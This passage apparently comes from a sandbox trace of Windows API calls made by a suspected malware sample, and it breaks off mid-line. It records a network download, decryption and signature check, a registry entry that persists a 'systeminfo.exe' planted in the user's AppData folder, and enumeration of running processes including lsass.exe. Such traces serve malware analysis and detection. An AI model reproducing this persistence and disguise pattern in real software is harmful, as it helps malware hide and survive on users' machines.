[0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.905] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.906] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.907] GetLastError () returned 0x0 [0138.908] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x246f860, lpdwBufferLength=0x246f868, lpdwIndex=0x0 | out: lpBuffer=0x246f860*, lpdwBufferLength=0x246f868*=0x4, lpdwIndex=0x0) returned 1 [0138.908] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x5178a0, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x246f864 | out: lpBuffer=0x5178a0*, lpdwNumberOfBytesRead=0x246f864*=0x94) returned 1 [0138.908] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x517934, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x246f864 | out: lpBuffer=0x517934*, lpdwNumberOfBytesRead=0x246f864*=0x0) returned 1 [0138.908] GetCurrentProcessId () returned 0x79c [0138.908] GetCurrentProcessId () returned 0x79c [0138.908] lstrlenA (lpString="just string") returned 11 [0138.908] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.908] CryptDuplicateHash (in: hHash=0x4e6e68, pdwReserved=0x0, dwFlags=0x0, phHash=0x246f868 | out: phHash=0x246f868) returned 1 [0138.909] CryptDecrypt (in: hKey=0x4e6b98, hHash=0x4f3838, Final=1, dwFlags=0x0, pbData=0x4f51a0, pdwDataLen=0x246f934 | out: pbData=0x4f51a0, pdwDataLen=0x246f934) returned 1 [0138.909] CryptVerifySignatureW (hHash=0x4f3838, pbSignature=0x5178a0, dwSigLen=0x60, hPubKey=0x4e6a40, szDescription=0x0, dwFlags=0x0) returned 1 [0138.909] CryptDestroyHash (hHash=0x4f3838) returned 1 [0138.909] GetLastError () returned 0x0 [0138.909] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0138.909] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0138.909] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0138.909] RegSetValueExW (in: hKey=0x394, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0138.909] RegCloseKey (hKey=0x394) returned 0x0 [0138.909] GetCurrentProcessId () returned 0x79c [0139.320] GetTickCount () returned 0x8bda [0139.320] GetCurrentProcessId () returned 0x79c [0139.320] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x246f730, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0139.320] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0139.320] GetCurrentProcessId () returned 0x79c [0139.320] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0139.321] GetCurrentProcessId () returned 0x79c [0139.321] Process32FirstW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.322] lstrlenA (lpString="just string") returned 11 [0139.322] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.322] GetLastError () returned 0x0 [0139.322] GetCurrentProcessId () returned 0x79c [0139.322] lstrcpyW (in: lpString1=0x52585c, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0139.322] GetLastError () returned 0x0 [0139.322] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="30864P") returned 6 [0139.322] SetLastError (dwErrCode=0x0) [0139.322] GetCurrentProcessId () returned 0x79c [0139.322] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0139.323] GetCurrentProcessId () returned 0x79c [0139.323] GetCurrentProcessId () returned 0x79c [0139.323] GetCurrentProcessId () returned 0x79c [0139.323] GetCurrentProcessId () returned 0x79c [0139.323] lstrcpyW (in: lpString1=0x525a84, lpString2="System" | out: lpString1="System") returned="System" [0139.323] lstrlenA (lpString="just string") returned 11 [0139.323] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.323] GetLastError () returned 0x0 [0139.323] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0139.323] GetCurrentProcessId () returned 0x79c [0139.323] GetCurrentProcessId () returned 0x79c [0139.323] GetCurrentProcessId () returned 0x79c [0139.323] lstrcpyW (in: lpString1=0x525cac, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0139.323] lstrlenA (lpString="just string") returned 11 [0139.323] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.323] GetLastError () returned 0x0 [0139.323] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0139.324] GetLastError () returned 0x0 [0139.324] lstrcpyW (in: lpString1=0x525ed4, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0139.324] GetLastError () returned 0x0 [0139.324] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="308AAP") returned 6 [0139.324] SetLastError (dwErrCode=0x0) [0139.324] GetCurrentProcessId () returned 0x79c [0139.324] GetCurrentProcessId () returned 0x79c [0139.324] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0139.324] GetCurrentProcessId () returned 0x79c [0139.324] GetCurrentProcessId () returned 0x79c [0139.324] GetCurrentProcessId () returned 0x79c [0139.324] lstrlenA (lpString="just string") returned 11 [0139.324] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.324] lstrcpyW (in: lpString1=0x5260fc, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0139.324] GetLastError () returned 0x0 [0139.324] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0139.325] GetCurrentProcessId () returned 0x79c [0139.325] GetCurrentProcessId () returned 0x79c [0139.325] GetCurrentProcessId () returned 0x79c [0139.325] GetCurrentProcessId () returned 0x79c [0139.325] lstrlenA (lpString="just string") returned 11 [0139.325] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.325] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0139.325] GetLastError () returned 0x0 [0139.325] GetCurrentProcessId () returned 0x79c [0139.325] GetCurrentProcess () returned 0xffffffff [0139.325] GetLastError () returned 0x0 [0139.325] wsprintfA (in: param_1=0x246f443, param_2="%X%P" | out: param_1="3090DP") returned 6 [0139.325] SetLastError (dwErrCode=0x0) [0139.325] GetCurrentProcessId () returned 0x79c [0139.325] lstrcpyW (in: lpString1=0x526324, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0139.325] GetLastError () returned 0x0 [0139.325] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="3090EP") returned 6 [0139.325] SetLastError (dwErrCode=0x0) [0139.325] GetCurrentProcessId () returned 0x79c [0139.325] GetCurrentProcessId () returned 0x79c [0139.325] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0139.326] GetCurrentProcessId () returned 0x79c [0139.326] GetCurrentProcessId () returned 0x79c [0139.326] GetCurrentProcessId () returned 0x79c [0139.326] lstrlenA (lpString="just string") returned 11 [0139.326] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.326] lstrcpyW (in: lpString1=0x52654c, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0139.326] GetLastError () returned 0x0 [0139.326] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0139.326] GetLastError () returned 0x0 [0139.326] lstrcpyW (in: lpString1=0x526774, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0139.326] GetLastError () returned 0x0 [0139.326] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="30918P") returned 6 [0139.326] SetLastError (dwErrCode=0x0) [0139.326] GetCurrentProcessId () returned 0x79c [0139.326] GetCurrentProcessId () returned 0x79c [0139.326] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0139.327] GetCurrentProcessId () returned 0x79c [0139.327] GetCurrentProcessId () returned 0x79c [0139.327] GetCurrentProcessId () returned 0x79c [0139.327] lstrlenA (lpString="just string") returned 11 [0139.327] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.327] lstrcpyW (in: lpString1=0x528b14, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0139.327] GetLastError () returned 0x0 [0139.327] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.327] GetCurrentProcessId () returned 0x79c [0139.327] GetCurrentProcessId () returned 0x79c [0139.327] GetCurrentProcessId () returned 0x79c [0139.327] lstrlenA (lpString="just string") returned 11 [0139.327] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.327] lstrcpyW (in: lpString1=0x528d3c, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0139.327] GetLastError () returned 0x0 [0139.327] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.328] GetLastError () returned 0x0 [0139.328] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.328] GetCurrentProcessId () returned 0x79c [0139.328] GetCurrentProcessId () returned 0x79c [0139.328] GetCurrentProcessId () returned 0x79c [0139.328] GetCurrentProcessId () returned 0x79c [0139.328] lstrlenA (lpString="just string") returned 11 [0139.328] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.328] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.329] GetLastError () returned 0x0 [0139.329] GetCurrentProcessId () returned 0x79c [0139.329] GetCurrentProcessId () returned 0x79c [0139.329] lstrlenA (lpString="just string") returned 11 [0139.329] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.329] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.329] GetLastError () returned 0x0 [0139.329] GetCurrentProcessId () returned 0x79c [0139.329] GetLastError () returned 0x0 [0139.329] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0139.330] GetCurrentProcess () returned 0xffffffff [0139.330] GetLastError () returned 0x0 [0139.330] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="3098FP") returned 6 [0139.330] SetLastError (dwErrCode=0x0) [0139.330] GetCurrentProcessId () returned 0x79c [0139.330] GetLastError () returned 0x0 [0139.330] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="30990P") returned 6 [0139.330] SetLastError (dwErrCode=0x0) [0139.330] GetCurrentProcessId () returned 0x79c [0139.330] GetCurrentProcessId () returned 0x79c [0139.330] GetCurrentProcessId () returned 0x79c [0139.330] lstrcpyW (in: lpString1=0x528f64, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0139.330] GetCurrentProcessId () returned 0x79c [0139.330] GetCurrentProcessId () returned 0x79c [0139.330] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.330] lstrlenA (lpString="just string") returned 11 [0139.330] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.330] GetLastError () returned 0x0 [0139.330] GetCurrentProcessId () returned 0x79c [0139.330] lstrlenA (lpString="just string") returned 11 [0139.330] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.330] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.331] GetLastError () returned 0x0 [0139.331] GetCurrentProcessId () returned 0x79c [0139.331] GetLastError () returned 0x0 [0139.331] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0139.331] GetCurrentProcess () returned 0xffffffff [0139.331] GetLastError () returned 0x0 [0139.331] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="309CBP") returned 6 [0139.331] SetLastError (dwErrCode=0x0) [0139.331] GetCurrentProcessId () returned 0x79c [0139.331] GetLastError () returned 0x0 [0139.331] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="309CCP") returned 6 [0139.331] SetLastError (dwErrCode=0x0) [0139.331] GetCurrentProcessId () returned 0x79c [0139.331] GetCurrentProcessId () returned 0x79c [0139.331] GetCurrentProcessId () returned 0x79c [0139.331] lstrcpyW (in: lpString1=0x52918c, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0139.331] GetCurrentProcessId () returned 0x79c [0139.331] GetCurrentProcessId () returned 0x79c [0139.331] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.332] lstrlenA (lpString="just string") returned 11 [0139.332] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.332] GetLastError () returned 0x0 [0139.332] GetCurrentProcessId () returned 0x79c [0139.332] GetCurrentProcess () returned 0xffffffff [0139.332] GetLastError () returned 0x0 [0139.332] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="309E9P") returned 6 [0139.332] SetLastError (dwErrCode=0x0) [0139.332] GetCurrentProcessId () returned 0x79c [0139.332] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0139.332] GetLastError () returned 0x0 [0139.332] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="309EAP") returned 6 [0139.332] SetLastError (dwErrCode=0x0) [0139.332] GetCurrentProcessId () returned 0x79c [0139.332] GetCurrentProcessId () returned 0x79c [0139.332] GetCurrentProcessId () returned 0x79c [0139.332] GetCurrentProcessId () returned 0x79c [0139.332] lstrcpyW (in: lpString1=0x5293b4, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0139.332] GetCurrentProcessId () returned 0x79c [0139.332] lstrlenA (lpString="just string") returned 11 [0139.333] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.333] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0139.333] GetLastError () returned 0x0 [0139.333] GetCurrentProcessId () returned 0x79c [0139.333] GetLastError () returned 0x0 [0139.333] wsprintfA (in: param_1=0x246f443, param_2="%X%P" | out: param_1="30A26P") returned 6 [0139.333] SetLastError (dwErrCode=0x0) [0139.333] GetCurrentProcessId () returned 0x79c [0139.333] lstrcpyW (in: lpString1=0x5295dc, lpString2="userinit.exe" | out: lpString1="userinit.exe") returned="userinit.exe" [0139.333] GetCurrentProcessId () returned 0x79c [0139.333] GetCurrentProcessId () returned 0x79c [0139.333] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x34c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0139.333] GetCurrentProcessId () returned 0x79c [0139.333] lstrlenA (lpString="just string") returned 11 [0139.333] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.334] GetCurrentProcessId () returned 0x79c [0139.334] GetLastError () returned 0x0 [0139.334] lstrcpyW (in: lpString1=0x529804, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0139.334] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0139.334] GetLastError () returned 0x0 [0139.334] lstrcpyW (in: lpString1=0x529a2c, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0139.334] GetCurrentProcessId () returned 0x79c [0139.334] GetCurrentProcessId () returned 0x79c [0139.334] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0139.334] GetCurrentProcessId () returned 0x79c [0139.334] lstrlenA (lpString="just string") returned 11 [0139.334] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.334] GetCurrentProcessId () returned 0x79c [0139.334] GetLastError () returned 0x0 [0139.335] lstrcpyW (in: lpString1=0x529c54, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0139.335] GetCurrentProcessId () returned 0x79c [0139.335] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0139.335] GetCurrentProcessId () returned 0x79c [0139.335] GetCurrentProcessId () returned 0x79c [0139.335] GetCurrentProcessId () returned 0x79c [0139.335] lstrlenA (lpString="just string") returned 11 [0139.335] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.335] lstrcpyW (in: lpString1=0x529e7c, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0139.335] GetLastError () returned 0x0 [0139.335] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0139.336] GetLastError () returned 0x0 [0139.336] lstrcpyW (in: lpString1=0x52a0a4, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE" [0139.336] GetLastError () returned 0x0 [0139.336] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="30A8AP") returned 6 [0139.336] SetLastError (dwErrCode=0x0) [0139.336] GetCurrentProcessId () returned 0x79c [0139.336] GetCurrentProcessId () returned 0x79c [0139.336] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0139.336] GetCurrentProcessId () returned 0x79c [0139.336] GetCurrentProcessId () returned 0x79c [0139.336] GetCurrentProcessId () returned 0x79c [0139.336] lstrlenA (lpString="just string") returned 11 [0139.336] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.336] lstrcpyW (in: lpString1=0x52a2cc, lpString2="reader_sl.exe" | out: lpString1="reader_sl.exe") returned="reader_sl.exe" [0139.336] GetLastError () returned 